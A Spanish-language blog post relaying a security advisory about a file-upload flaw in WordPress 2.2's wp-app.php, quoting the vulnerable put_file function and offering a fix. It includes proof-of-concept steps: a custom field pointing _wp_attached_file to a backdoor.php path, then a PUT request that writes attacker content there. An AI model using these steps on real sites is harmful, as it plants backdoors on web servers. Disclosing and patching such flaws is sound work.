Vulnerabilidad en WordPress 2.2

wp1.jpg
De acuerdo a Alexander Concha en buayacorp.com, existe una nueva vulnerabilidad en las versiones WordPress 2.2 y WordPress <= 1.2.2.Wordpress permite subir al servidor ficheros, y los valores del nombre, título y otros valores se almacenan en la tabla wp_postscon el campo post_type=attachment, la localización y otras propiedades del fichero en la tabla wp_postmeta con campos especiales llamados _wp_attached_file y _wp_attachment_metadata. WordPress también permite campos especiales en páginas normales. En el fichero wp-app.php, la siguiente función permite subir los ficheros: function put_file($postID) { $type = $this->get_accepted_content_type();

// first check if user can upload
if(!current_user_can(‘upload_files’))
$this->auth_required(__(‘You do not have permission to upload files.’));

// check for not found
global $entry;
$this->set_current_entry($postID);

// then whether user can edit the specific post
if(!current_user_can(‘edit_post’, $postID)) {
$this->auth_required(__(‘Sorry, you do not have the right to edit this post.’));
}

$location = get_post_meta($entry[‘ID’], ‘_wp_attached_file’, true);

if(!isset($location))
$this->internal_error(__(‘Error ocurred while accessing post metadata for file location.’));

$fp = fopen(“php://input”, “rb”);
$localfp = fopen($location, “w+”);
while(!feof($fp)) {
fwrite($localfp,fread($fp, 4096));
}
fclose($fp);
fclose($localfp);

log_app(‘function’,”put_file($postID)”);
$this->ok();
}

Esta función carga ela localización del primer fichero y escribe el contenido que se almacena en wp-app.php. Un atacante puede quitar el valor del primer metadata del fichero con un nombre conveniente del fichero, todos los contenidos serán almacenados en este fichero. En la versión WordPress MU es crítico, ya que cada usuario registrado tiene una cuenta que permite subir ficheros.
Prueba:
1.
Crear un artículo y añadir uncampo especial con el valor siguiente;

key : _wp_attached_file
value : /home/vulnerable.com/wp/wp-content/uploads/backdoor.php

2. Enviar un PUT al fichero wp-app.php y pasar el valor del post_id del paso primero

PUT /wp/wp-app.php?action=/attachment/file/post_ID HTTP/1.1
Cookie: auth cookies
Content-Type: image/gif
Host: vulnerable.com
Content-Length: the content length

Solución
Wordpress 2.2.1 y cambio 1005 de WordPress MU solamente solucionan el problema en parte porque son vulnerables utilizando otro vector.La mejor solución es quitar acceso a los ficheros wp-app.php or app.php.

One Reply to “Vulnerabilidad en WordPress 2.2”

Leave a Reply

3 × 1 =

This site uses Akismet to reduce spam. Learn how your comment data is processed.